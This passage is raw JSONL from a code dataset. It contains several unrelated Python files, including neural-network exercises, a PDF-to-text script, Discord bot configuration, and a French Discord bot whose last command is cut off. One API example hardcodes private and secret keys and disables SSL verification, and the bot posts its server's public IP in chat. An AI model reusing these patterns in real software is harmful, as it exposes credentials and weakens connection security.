리스트\n#출력 : 이름 n개 중 반복되는 이름의 집합\n\ndef find_same_name(a):\n n = len(a) #리스트의 자료 개수를 n에 저장\n result = set() #결과를 저장할 빈 집합\n for i in range(0, n-1): #0부텉 n-2까지 반복하는데 a[n-1]은 이미 앞에서 비교함\n for j in range(i + 1, n):\n if a[i] == a[j]:\n result.add(a[i])\n return result\n\nname = [\"Tom\", \"Jerry\", \"Mike\", \"Tom\"]\nprint(find_same_name(name))\nname2 = [\"Tom\", \"Jerry\", \"Mike\", \"Tom\", \"Mike\"]\nprint(find_same_name(name2))\n\n#알고리즘 분석\n#0번 이름은 n-1번 비교 ~ n-1번 이름은 0번 비교\n#전체 횟수는 0번부터 n-1번 까지 합 => 1에서 n까지 합\n#n(n-1)/2 -> O(n^2) 빅오표기\n","sub_path":"1_기초/samename.py","file_name":"samename.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"7352984","text":"import numpy as np\ndef my_sigmoid(x, deriv = False):\n\tif(deriv==True):\n\t\treturn x*(1-x)\n\treturn 1/(1+np.exp(-x))\nnp.random.seed(1)\n\n#x一共有两位数据,分别是:工作日与否,雨天与否\n#y一共有两位数据,分别是:借车数,还车数\nx = np.array([[1,0],[1,0],[1,0],[1,1],[1,0],[0,0],[0,1]])\ny = np.array([[27,31],[28,27],[28,30],[12,11],[30,26],[18,13],[8,7]])\ntest = np.array([[1,0],[1,0],[1,0],[1,1],[1,0],[0,0],[0,1]])\nsyn0 = 2*np.random.random((2,4))-1\nsyn1 = 2*np.random.random((4,3))-1\nsyn2 = 2*np.random.random((3,2))-1\nrate = 0.1\nfor j in range(1000):\n L0 = x\n L1 = my_sigmoid(np.dot(L0,syn0))\n L2 = my_sigmoid(np.dot(L1,syn1))\n L3 = np.dot(L2,syn2)\n L3_error = y - L3 \n L3_delta = L3_error\n L2_error = L3_delta.dot(syn2.T)\n L2_delta = L2_error*my_sigmoid(L2,deriv = True)\n L1_error = L2_delta.dot(syn1.T)\n L1_delta = L1_error*my_sigmoid(L1,deriv = True)\n if(j%100 == 0):\n rate = rate / 2\n syn2 += rate*np.dot(L2.T,L3_delta)\n syn1 += rate*np.dot(L1.T,L2_delta)\n syn0 += rate*np.dot(L0.T,L1_delta)\n\nMy_result_1 = my_sigmoid(np.dot(test,syn0))\nMy_result_2 = my_sigmoid(np.dot(My_result_1,syn1))\nMy_result = np.dot(My_result_2,syn2)\n\nprint(My_result)\n","sub_path":"Mathematical_Modeling/code/BP/BP.py","file_name":"BP.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"48929547","text":"from discord import Colour\n\n# all factions recognised by BB\nfactions = [\"terran\", \"vossk\", \"midorian\", \"nivelian\", \"neutral\"]\n# all factions useable in bounties\nbountyFactions = [\"terran\", \"vossk\", \"midorian\", \"nivelian\"]\n\n# levels of security in SolarSystems (SolarSystem security is stored as an index in this list)\nsecurityLevels = [\"secure\", \"average\", \"risky\", \"dangerous\"]\n\n# map image URLS for cmd_map\nmapImageWithGraphLink = \"https://cdn.discordapp.com/attachments/700683544103747594/700683693215318076/gof2_coords.png\"\nmapImageNoGraphLink = 'https://i.imgur.com/TmPgPd3.png'\n\n# icons for factions\nfactionIcons = {\"terran\": \"https://cdn.discordapp.com/attachments/700683544103747594/711013574331596850/terran.png\",\n \"vossk\": \"https://cdn.discordapp.com/attachments/700683544103747594/711013681621893130/vossk.png\",\n \"midorian\": \"https://cdn.discordapp.com/attachments/700683544103747594/711013601019691038/midorian.png\",\n \"nivelian\": \"https://cdn.discordapp.com/attachments/700683544103747594/711013623257890857/nivelian.png\",\n \"neutral\":\n \"https://emojipedia-us.s3.dualstack.us-west-1.amazonaws.com/thumbs/120/twitter/248/rocket_1f680.png\",\n \"void\": \"https://cdn.discordapp.com/attachments/700683544103747594/711013699841687602/void.png\"}\n\nerrorIcon = \"https://emojipedia-us.s3.dualstack.us-west-1.amazonaws.com/thumbs/120/twitter/248/exclamation-mark_2757.png\"\nwinIcon = \"https://emojipedia-us.s3.dualstack.us-west-1.amazonaws.com/thumbs/120/twitter/248/trophy_1f3c6.png\"\nrocketIcon = \"https://emojipedia-us.s3.dualstack.us-west-1.amazonaws.com/thumbs/120/twitter/248/rocket_1f680.png\"\n\n# colours to use in faction-related embed strips\nfactionColours = { \"terran\": Colour.gold(),\n \"vossk\": Colour.dark_green(),\n \"midorian\": Colour.dark_red(),\n \"nivelian\": Colour.dark_blue(),\n \"neutral\": Colour.purple()}\n\n# Data representing all ship items in the game. These are used to create bbShip objects,\n# which are stored in builtInShipObjs in a similar dict format.\n# Ships to not have tech levels in GOF2, so tech levels will be automaticaly generated\n# for the sake of the bot during bot.on_ready.\nbuiltInShipData = {}\n\n# Data representing all module items in the game. These are used to create bbModule objects,\n# which are stored in builtInModuleObjs in a similar dict format.\nbuiltInModuleData = {}\n\n# Data representing all primary weapon items in the game. These are used to create bbWeapon objects,\n# which are stored in builtInWeaponObjs in a similar dict format.\nbuiltInWeaponData = {}\n\n# Data representing all ship upgrades in the game. These are used to create bbShipUpgrade objects,\n# which are stored in builtInUpgradeObjs in a similar dict format.\nbuiltInUpgradeData = {}\n\n# data for builtIn criminals to be used in Criminal.fromDict\n# criminals marked as not builtIn to allow for dictionary init.\n# The criminal object is then marked as builtIn during bot.on_ready\nbuiltInCriminalData = {}\n\n# data for builtIn systems to be used in SolarSystem.fromDict\nbuiltInSystemData = {}\n\n# data for builtIn Turrets to be used in bbTurret.fromDict\nbuiltInTurretData = {}\n\n# data for builtIn commodities to be used in bbCommodity.fromDict (unimplemented)\nbuiltInCommodityData = {}\n\nbuiltInToolData = {}\n\n# data for builtIn secondaries to be used in bbSecondary.fromDict (unimplemented)\nbuiltInSecondariesData = {}\n\n# data for builtIn ShipSkins to be used in ShipSkin.fromDict\nbuiltInShipSkinsData = {}\n\n\n# Objects representing all ship skins in the game.\nbuiltInShipSkins = {}\nbuiltInToolObjs = {}\n# To be populated during bot.on_ready\n# These dicts contain item name: item object for the object described in the variable name.\n# This is primarily for use in their relevent fromDict functions.\nbuiltInSystemObjs = {}\nbuiltInCriminalObjs = {}\nbuiltInModuleObjs = {}\nbuiltInWeaponObjs = {}\nbuiltInUpgradeObjs = {}\nbuiltInTurretObjs = {}\n\n# References to the above item objects, sorted by techLevel.\nshipKeysByTL = []\nmoduleObjsByTL = []\nweaponObjsByTL = []\nturretObjsByTL = []\n\n\n# names of criminals in builtIn bounties\nbountyNames = {}\n# the length of the longest criminal name, to be used in padding during cmd_bounties\nlongestBountyNameLength = 0\n","sub_path":"bot/cfg/bbData.py","file_name":"bbData.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"229777272","text":"import requests\nimport json\nimport nacl.encoding\nimport nacl.signing\nimport nacl.secret\n\napi_key_id = '747b0fb0-1f25-4c45-af94-50d487af15f1'\napi_key_private_key = 'e6e71d12eaade92994a915fa5ecfd54223e53d72e02cfc73bc2b968a061eea7e'\napi_key_secret_key = '1a74783f7429b95b64483f910019d3559f7f1da429fcc1a2e187880e938d611c'\nserver_url = 'https://browserplugins.chickahoona.com/server'\nserver_public_key = '02da2ad857321d701d754a7e60d0a147cdbc400ff4465e1f57bc2d9fbfeddf0b'\nserver_signature = '4ce9e761e1d458fe18af577c50eb8249a0de535c9bd6b7a97885c331b46dcbd1'\n\n\nSSL_VERIFY = False\n\n\ndef api_request(method, endpoint, data = None):\n\n headers = {'content-type': 'application/json'}\n\n r = requests.request(method, server_url + endpoint, data=data, headers=headers, verify=SSL_VERIFY)\n\n return r.json()\n\ndef api_read_secret(secret_id):\n\n method = 'POST'\n endpoint = '/api-key-access/secret/'\n\n data = json.dumps({\n 'api_key_id': api_key_id,\n 'secret_id': secret_id,\n })\n\n encrypted_secret = api_request(method, endpoint, data)\n\n # decrypt step 1: Decryption of the encryption key\n crypto_box = nacl.secret.SecretBox(api_key_secret_key, encoder=nacl.encoding.HexEncoder)\n encryption_key = crypto_box.decrypt(nacl.encoding.HexEncoder.decode(encrypted_secret['secret_key']),\n nacl.encoding.HexEncoder.decode(encrypted_secret['secret_key_nonce']))\n\n # decrypt step 2: Decryption of the secret\n crypto_box = nacl.secret.SecretBox(encryption_key, encoder=nacl.encoding.HexEncoder)\n decrypted_secret = crypto_box.decrypt(nacl.encoding.HexEncoder.decode(encrypted_secret['data']),\n nacl.encoding.HexEncoder.decode(encrypted_secret['data_nonce']))\n\n return json.loads(decrypted_secret)\n\ndef main():\n\n secret_id = 'c81d0cff-65f9-4f81-9815-dbe2850331c9'\n\n decrypted_secret = api_read_secret(secret_id)\n\n print(decrypted_secret)\n\n\nif __name__ == '__main__':\n main()","sub_path":"examples/api_key_without_session.py","file_name":"api_key_without_session.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"496876362","text":"'''\nimport PyPDF2 as pyPdf\n\nfilename = \"intro_to_envi.pdf\";\npdf = pyPdf.PdfFileReader(open(filename, \"rb\"))\ni = -1;\nfor page in pdf.pages:\n i = i + 1;\n print(\"---Page \", i, \":--------------------------------\");\n print (page.extractText())\n \n input(\"Press Enter to continue...\")\n \n'''\n\nimport textract\nimport shutil\nfrom cStringIO import StringIO\nimport os\n\n######################\n## Find all pdfs\n#########################\nsource_root = \"inputs\";\ndone_root = \"done\";\noutput_root = \"inputs\";\ndoc_list = [];\ni = -1;\nfor afile in os.listdir(source_root):\n if afile.endswith(\".pdf\") or afile.endswith(\".epub\"):\n i = i+1;\n doc_list.append(afile);\n #print(file)\n#print (pdf_list);\n#exit();\n\n\ndef convert_doc_to_txt(path):\n text = textract.process(path);\n return text\n\ndef move_doc_to_done(source_path, done_path):\n result = shutil.move(source_path, done_path);\n return result;\n \n######################\n## Convert all pdfs\n#########################\nprint(\"\\n\");\nprint(\"Converting all docs...\");\nfor file_name in doc_list:\n #file_name = \"lonely_planet.pdf\";\n source_path = source_root + \"/\" + file_name;\n done_path = done_root + \"/\" + file_name;\n print (\" -- Converting \" + source_path);\n text = convert_doc_to_txt(source_path);\n #print(text);\n\n f = open(output_root+\"/\"+file_name[0:-4]+'.text', 'w+')\n f.write(text); # python will convert \\n to os.linesep\n f.close() # you can omit in most cases as the destructor will call it\n\n #print (\" -- Moving it to \" + done_path);\n #move_doc_to_done(source_path, done_path);\n\n","sub_path":"feature_engineering/preprocess_input/sense2vec/doc_to_txt.py","file_name":"doc_to_txt.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"379122118","text":"import tensorflow as tf\nimport numpy as np\nimport NNutils\nimport mnist\nfrom datetime import datetime\nimport flags\nclass Network():\n def __init__(self, layers = [400, 200, 100], regul=False, bn=False, droprate=.0):\n self.batch_size = 128\n self.learning_rate = 0.001\n self.global_step = tf.Variable(0, trainable=False)\n\n self.x = tf.placeholder(\"float32\", [None, 28 * 28 * 1])\n self.y = tf.placeholder(\"float32\", [None, 10])\n\n self.droprate_train = droprate\n self.droprate_test = 0.0\n self.droprate_ph = tf.placeholder(\"float\")\n\n self.layers = layers\n self.train_list = []\n\n self.activation = \"relu\"\n self.network = \"mlp\"\n\n #정규화 관련 변수\n if regul == True:\n self.regularize = 0.001\n self.regularizer = tf.contrib.layers.l2_regularizer(self.regularize)\n self.network += \"_regul\"\n else:\n self.regularizer = None\n\n if bn == True:\n self.batch_normalization = True\n self.network += \"_bn\"\n else:\n self.batch_normalization = False\n\n def fc_layer(self, x, output_num, activation, dropout):\n if activation == 'relu':\n activation = tf.nn.relu\n elif activation == 'sigmoid':\n activation = tf.nn.sigmoid\n elif activation == 'tanh':\n activation = tf.nn.tanh\n else:\n activation == None\n\n output = tf.layers.dense(x, output_num, activation=activation,\n kernel_initializer=tf.random_normal_initializer(stddev=0.01),\n kernel_regularizer=self.regularizer)\n output = tf.nn.dropout(output, 1 - dropout)\n\n y = output\n return y\n\n def info(self):\n layers_sum = str(sum(self.layers))\n layers_num = str(len(self.layers))\n dropout = str(self.droprate_train)\n return self.network + \"-\" + self.activation + \"-\" + layers_num + \"-\" + layers_sum + \"-d\" + dropout\n\n def model(self, x): #[3072, 450, 300, 200, 100, 50, 10]\n layers = self.layers\n image_size = 32\n output = x\n reshape_size = 0\n\n layer_num = 0\n\n for layer in layers:\n layer_num += 1\n with tf.variable_scope('fc' + str(layer_num)):\n if self.batch_normalization == True:\n output = tf.layers.batch_normalization(output)\n # output = fc_layer('fc', output, layer, activation=self.activation, dropout=self.dropout_normal)\n output = self.fc_layer(output, layer, activation=self.activation, dropout=self.droprate_ph)\n with tf.variable_scope('fc'):\n output = tf.contrib.layers.fully_connected(output, 10, activation_fn=None)\n\n y = output\n return y\n\n def train(self):\n\n #learning rate\n with tf.name_scope(\"learning_rate\"):\n learning_rate = tf.train.exponential_decay(0.001,\n self.global_step,\n (50000 / self.batch_size) * 10,\n 0.95, staircase=True)\n learning_rate = tf.maximum(0.0001, learning_rate)\n tf.summary.scalar(\"learning_rate\", learning_rate)\n\n #model\n y_ = self.model(self.x)\n\n #cost and training\n with tf.name_scope(\"cost\"):\n self.loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=y_, labels=self.y))\n\n #정규항 추가\n if self.regularizer != None:\n reg_variables = tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES)\n reg_term = tf.contrib.layers.apply_regularization(self.regularizer, reg_variables)\n self.loss += reg_term\n\n self.training = tf.train.AdamOptimizer(learning_rate=learning_rate). \\\n minimize(self.loss, global_step=self.global_step)\n\n tf.summary.scalar(\"loss\", self.loss)\n\n with tf.name_scope(\"accuracy\"):\n compare = tf.equal(tf.argmax(self.y, 1), tf.argmax(y_, 1))\n self.accuracy = tf.reduce_mean(tf.cast(compare, \"float\"))\n\n tf.summary.scalar(\"accuarcy\", self.accuracy)\n\n def run(self, step_limit):\n self.train()\n\n with tf.Session() as sess:\n tf.global_variables_initializer().run()\n\n dataset = mnist.read_data_sets(flags.MNIST_DIR, one_hot=True)\n train_data, train_label, test_data, test_label = dataset.train.images, dataset.train.labels, \\\n dataset.test.images, dataset.test.labels\n\n test_indices = np.arange(len(test_data))\n np.random.shuffle(test_indices)\n test_indices = test_indices[0:1000]\n name = self.info()\n path = \"mnist/\" + str(step_limit) + name\n saver = NNutils.save(path, sess)\n writer, writer_test, merged = NNutils.graph(path, sess)\n\n step = sess.run(self.global_step)\n while step < step_limit:\n print(\"step :\", step)\n for start, end in zip(range(0, len(train_data), self.batch_size),\n range(self.batch_size, len(train_data), self.batch_size)):\n summary, \\\n _, loss, \\\n step = sess.run([merged,\n self.training, self.loss,\n self.global_step],\n feed_dict={self.x: train_data[start:end],\n self.y: train_label[start:end],\n self.droprate_ph: self.droprate_train})\n\n if step % 50 == 0:\n writer.add_summary(summary, step)\n print(step, datetime.now(), loss)\n\n summary, \\\n loss, \\\n accuracy = sess.run([merged, self.loss, self.accuracy],\n feed_dict={self.x: test_data,\n self.y: test_label,\n self.droprate_ph: self.droprate_test})\n\n writer_test.add_summary(summary, step)\n print(\"test results : \", accuracy, loss)\n saver.save(sess, path + \"/\" + name + \".ckpt\", step)\n\nif __name__ == \"__main__\":\n model = Network(regul=False, bn=False, droprate=0.5)\n model.run(100000)","sub_path":"ANN/RW/mnist_mlp.py","file_name":"mnist_mlp.py","file_ext":"py","file_size_in_byte":6612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"499951129","text":"import discord, sys, asyncio, re, random, os, time, platform, socket, psutil, cpuinfo\nfrom discord.ext import commands\nimport random\nfrom requests import get\nfrom discord.ext.commands import Bot\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\nbot = commands.Bot(command_prefix='!')\nbot.remove_command(\"help\")\n\ndef reload_bot():\n python = sys.executable\n os.execl(python, python, * sys.argv)\n\ndef command_logs(cmd_str, author, message):\n print (bcolors.WARNING + (time.strftime(\"%d/%m/%Y %H:%M:%S\")) + \n bcolors.ENDC, \":\", bcolors.WARNING + (\"{}\").format(author.name) + \n bcolors.ENDC, \"a éxécuté la commande\", bcolors.WARNING + (cmd_str)\n + bcolors.ENDC, \"avec succès sur le serveur : \", bcolors.WARNING + \n message.server.name + bcolors.ENDC)\n\ndef command_logs_critics(cmd_str, author, message):\n print (bcolors.WARNING + (time.strftime(\"%d/%m/%Y %H:%M:%S\")) + \n bcolors.ENDC, \":\", bcolors.WARNING + (\"{}\").format(author.name) + bcolors.ENDC, \n bcolors.FAIL + \"a éxécuté la commande\" + bcolors.ENDC, bcolors.WARNING + (cmd_str) + \n bcolors.ENDC, bcolors.FAIL + \"sans y être autorisé.\" + bcolors.ENDC, \"sur le serveur : \", \n bcolors.WARNING + message.server.name + bcolors.ENDC)\n\n\n@bot.event\nasync def on_ready():\n print (bcolors.OKGREEN + (time.strftime(\"%d/%m/%Y %H:%M:%S :\")), \n (\"Connexion de {} avec l'id {}\").format(bot.user.name, bot.user.id) + bcolors.ENDC)\n \n em = discord.Embed(title='Le bot a redémarré', \n description=(\"Nous nous éfforçons de continuellement améliorer le bot,\\n\"\n \"ce redémarrage est pour nous le seul moyen pour mettre a jour Franky.\\n\"\n \"Nous sommes désolés pour les désagréments.\"), colour=0x43b581)\n\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.send_message(bot.get_channel('310127519753830400'), embed=em)\n await bot.change_presence(game=discord.Game(name=\"rien\"))\n await bot.change_presence(game=discord.Game(name=\"!help | BETA v1.0\"))\n\n@bot.event\nasync def on_member_join(member):\n server = member.server\n server_name = server.name\n em = discord.Embed(title='Bienvenue sur le serveur, ' + member.name, \n description=\"**!help** pour avoir de l'aide !\", colour=0x3498db)\n\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.send_message(server.default_channel, embed=em)\n \n print (bcolors.WARNING + (time.strftime(\"%d/%m/%Y %H:%M:%S\")) + bcolors.ENDC, \":\", \n bcolors.WARNING + (\"{}\").format(member.name) + \n bcolors.ENDC, \"s'est connecté avec succès sur le serveur : \", \n bcolors.WARNING + server_name + bcolors.ENDC)\n\n@bot.event\nasync def on_member_remove(member):\n server = member.server\n server_name = server.name\n em = discord.Embed(title=member.name + ' a quitté le serveur..', colour=0xe74c3c)\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.send_message(server.default_channel, embed=em)\n \n print (bcolors.WARNING + (time.strftime(\"%d/%m/%Y %H:%M:%S\")) + bcolors.ENDC, \":\", \n bcolors.WARNING + (\"{}\").format(member.name) + \n bcolors.ENDC, \"a quitté le serveur\", bcolors.WARNING + (\":(\") + \n bcolors.ENDC, \"avec succès sur le serveur : \", \n bcolors.WARNING + server_name + bcolors.ENDC)\n\n@bot.event\nasync def on_server_join(server):\n member = server.me\n server_name = server.name\n em = discord.Embed(title='Bonjour, je suis Franky !', \n description=(\"N'oubliez pas de me donner un rôle ayant les droits d'administration,\"\n \" ou je ne pourrai rien faire pour vous aider..\"), colour=0x43b581)\n await bot.send_message(server.default_channel, embed=em)\n\n@bot.event\nasync def on_command_error(error, ctx):\n cmd_str = \"inconnue\"\n message = ctx.message\n channel = ctx.message.channel\n member = ctx.message.author\n author = member\n if isinstance(error, commands.CommandNotFound):\n em = discord.Embed(title=member.name + ', je ne connais pas cette commande.. ', colour=0xe74c3c)\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.send_message(channel, embed=em)\n print (bcolors.WARNING + (time.strftime(\"%d/%m/%Y %H:%M:%S\")) + \n bcolors.ENDC, \":\", bcolors.WARNING + (\"{}\").format(author.name) + \n bcolors.ENDC, \"a éxécuté une commande\", bcolors.WARNING + (cmd_str)\n + bcolors.ENDC, \"sur le serveur : \", bcolors.WARNING + \n message.server.name + bcolors.ENDC)\n\n@bot.command(pass_context=True)\nasync def botsysteminfo(ctx):\n cmd_str = \"!botsysteminfo\"\n message = ctx.message\n await bot.send_typing(message.channel)\n author = message.author\n extIP = get('https://ipapi.co/ip/').text\n networkAdress = socket.gethostbyname(socket.gethostname())\n currentUsageCPU = psutil.cpu_percent()\n pid = os.getpid()\n py = psutil.Process(pid)\n currentRamUsage = py.memory_info()[0]/2.**30\n os_uname = os.uname()\n info = cpuinfo.get_cpu_info()\n info_cpu = info['brand']\n from psutil import virtual_memory\n mem = virtual_memory()\n mem_total = mem.total\n mem_total = mem_total / 1000000000\n st = psutil.disk_usage('/')\n st = st.total / 1000000000\n disk_used = psutil.disk_usage('/')\n disk_used = disk_used.used / 1000000000\n \n em = discord.Embed(title='Informations sur le serveur du bot :', \n description=(\"**Configuration matérielle du serveur :**\\n\"\n \"Processeur : **{}**\\n\"\n \"Mémoire RAM : **{}**Gb\\n\"\n \"Capacité totale du disque : **{}**Gb\\n\"\n \"Le serveur du bot est hébergé par **Amazon USA Ouest (Oregon)**\\n\\n\"\n \"**Utilisation actuelle du serveur :**\\n\"\n \"L'utilisation actuelle du processeur est de **{}**%\\n\"\n \"L'utilisation actuelle de la RAM est de **{}**Gb\\nL'utilisation du disque et de : **{}**Gb\\n\"\n \"L'adresse IP du serveur du bot est **{}**\").format(info_cpu, round(mem_total, 2), round(st, 2), currentUsageCPU, \n round(currentRamUsage, 3), round(disk_used, 2), extIP), colour=0x3498db)\n\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em)\n command_logs(cmd_str, author, message)\n\n@bot.command(pass_context=True)\nasync def help(ctx):\n cmd_str = \"!help\"\n message = ctx.message\n author = message.author\n \n em = discord.Embed(title='Liste des commandes :', \n description=(\"**!messages_count** : Savoir combien de messages vous avez sur le channel \\n\"\n \"**!clear** : Nettoie le channel **(doit être éxécutée par un admin)** \\n\"\n \"**!askfranky** : Vous répond Oui, Non ou Peut-être de manière aléatoire \\n\"\n \"**!botsysteminfo** : Donne des informations sur le système du bot\\n\"\n \"**!gitbot** : Envoi un lien vers le répertoire GitHub du bot\\n\"\n \"**!admincall** : Appelles un admin **(a utiliser uniquement en cas de besoin réel !)**\\n\"\n \"**!ping** : Vous donne le temps de latence entre le serveur du bot et Google France\\n\"\n \"**!frankyonmyserver** : Vous permet d'ajouter Franky sur votre serveur !\"), colour=0x3498db)\n \n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em)\n command_logs(cmd_str, author, message)\n\n@bot.command(pass_context=True)\nasync def messages_count(ctx):\n cmd_str = \"message_count\"\n message = ctx.message\n author = message.author\n server = author.server\n counter = 0\n async for log in bot.logs_from(message.channel, limit=100):\n if log.author == message.author:\n counter += 1\n counter = str(counter)\n em = discord.Embed(title=author.name + ' vous avez écrit ' + counter + ' messages dans ce salon.', colour=0x3498db)\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.send_message(server, embed=em)\n command_logs(cmd_str, author, message)\n\n@bot.command(pass_context=True)\nasync def reload(ctx):\n cmd_str = \"!reload\"\n message = ctx.message\n author = message.author\n if author.id == '213683309530710016':\n if author.server_permissions.administrator == True:\n command_logs(cmd_str, author, message)\n await reload_bot()\n else:\n \n em = discord.Embed(title=\"Vous n'êtes pas autorisé a faire cela !\", \n description=\"Seuls les administrateurs peuvent lancer cetter commande.\", colour=0xe74c3c)\n\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em)\n command_logs_critics(cmd_str, author, message)\n \n em2 = discord.Embed(title=message.author.name + \" a tenté d'éxécuter la commande **!reload** dans #\" + \n message.channel.name, colour=0xf39c12)\n\n em2.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.send_message(discord.Object(\"313829118011506690\"), embed=em2)\n else:\n \n em = discord.Embed(title=\"Vous n'êtes pas autorisé a faire cela !\", \n description=\"Seul le créateur du bot peut lancer cette commande.\", colour=0xe74c3c)\n\n em3 = discord.Embed(title=message.author.name + \" a tenté d'éxécuter la commande **!reload** dans #\" + \n message.channel.name + \" sur le serveur : \" + message.server.name, colour=0xf39c12)\n\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em)\n await bot.send_message(discord.Object(\"313829118011506690\"), embed=em3)\n\n@bot.command(pass_context=True)\nasync def clear(ctx):\n cmd_str = \"!clear\"\n message = ctx.message\n author = message.author\n server = author.server\n channel = discord.utils.get(server.channels, name='administration_bot')\n channel_str = str(channel)\n if channel_str == \"administration_bot\":\n channel_id = channel.id\n if author.server_permissions.administrator == True:\n counter = 0\n tmp = await bot.say('Nettoyage des messages...')\n await asyncio.sleep(5)\n async for msg in bot.logs_from(message.channel):\n counter += 1\n await bot.delete_message(msg) \n \n em = discord.Embed(title='Nettoyage terminé', \n description=(\"{} messages ont été supprimés dans ce salon.\".format(counter)), colour=0x43b581)\n\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em)\n command_logs(cmd_str, author, message)\n\n else:\n \n em2 = discord.Embed(title=\"Vous n'êtes pas autorisé a faire cela !\", \n description=\"Seuls les administrateurs peuvent lancer cetter commande.\", colour=0xe74c3c)\n\n command_logs_critics(cmd_str, author, message)\n\n em2.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em2)\n \n em3 = discord.Embed(title=message.author.name + \" a tenté d'éxécuter la commande **!clear** dans #\" + \n message.channel.name, colour=0xf39c12)\n\n em3.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.send_message(discord.Object(channel_id), embed=em3)\n else:\n em2 = discord.Embed(title=\"Vous n'êtes pas autorisé a faire cela !\", \n description=\"Seuls les administrateurs peuvent lancer cetter commande.\", colour=0xe74c3c)\n\n command_logs_critics(cmd_str, author, message)\n\n em2.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em2)\n \n em2 = discord.Embed(title=\"Salon d'administration non trouvé..\", \n description=(\"Le bot a besoin d'un salon **administration_bot** pour fonctionner correctement..\\n\"\n \"Si vous en avez déjà créé un, vérifier que vous l'avez bien orthographié. \"), colour=0xe74c3c)\n em2.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em2)\n\n@bot.command(pass_context=True)\nasync def askfranky(ctx):\n cmd_str = \"!askfranky\"\n message = ctx.message\n author = message.author\n server = author.server\n await bot.send_typing(message.channel)\n await asyncio.sleep(5)\n options = [\"Oui\",\"Non\",\"Peut-être\"]\n option = random.choice(options)\n em = discord.Embed(title=option, colour=0x3498db)\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.send_message(server, embed=em)\n command_logs(cmd_str, author, message)\n\n@bot.command(pass_context=True)\nasync def gitbot(ctx):\n cmd_str = \"!gitbot\"\n message = ctx.message\n author = message.author\n server = author.server\n \n em = discord.Embed(title=\"Voici le répertoire GitHub du bot, n'oubliez pas de donner crédits si vous en faite usage..\", \n description='[Répertoire GitHub : SrOw_bot par SrOw](https://github.com/VinCySrOw/SrOw_bot)', colour=0x3498db)\n\n em.set_author(name='GitHub', icon_url=\"https://github.com/fluidicon.png\")\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em)\n command_logs(cmd_str, author, message)\n\n@bot.command(pass_context=True)\nasync def admincall(ctx):\n message = ctx.message\n author = message.author\n server = author.server\n channel = discord.utils.get(server.channels, name='administration_bot')\n channel_str = str(channel)\n if channel_str == \"administration_bot\":\n channel_id = channel.id\n cmd_str = \"!admincall\"\n em = discord.Embed(title=\"Un administrateur a été appelé.\", colour=0x43b581)\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em)\n em3 = discord.Embed(title=message.author.name + \" a appelé un admin dans #\" + message.channel.name, colour=0x43b581)\n em3.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.send_message(discord.Object(channel_id), embed=em3)\n print (bcolors.WARNING + \n (time.strftime(\"%d/%m/%Y %H:%M:%S\")) + \n bcolors.ENDC, \":\", bcolors.WARNING + (\"{}\").format(author.name) + \n bcolors.ENDC, \"a appelé un admin dans\", bcolors.WARNING + (\"#{}\".format(message.channel.name)) + \n bcolors.ENDC, \"avec succès sur le serveur : \", bcolors.WARNING + message.server.name + bcolors.ENDC)\n else:\n em2 = discord.Embed(title=\"Salon d'administration non trouvé..\", \n description=(\"Le bot a besoin d'un salon **administration_bot** pour fonctionner correctement..\\n\"\n \"Si vous en avez déjà créé un, vérifier que vous l'avez bien orthographié. \"), colour=0xe74c3c)\n em2.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em2)\n \n@bot.command(pass_context=True)\nasync def ping(ctx):\n cmd_str = \"!ping\"\n message = ctx.message\n author = message.author\n await bot.send_typing(message.channel)\n ping_FR = os.popen(\"ping -c 5 www.google.fr | tail -1| awk '{print $4}' | cut -d '/' -f 2\").read()\n ping_FR = str(ping_FR)\n em = discord.Embed(title=\"Le serveur a \" + 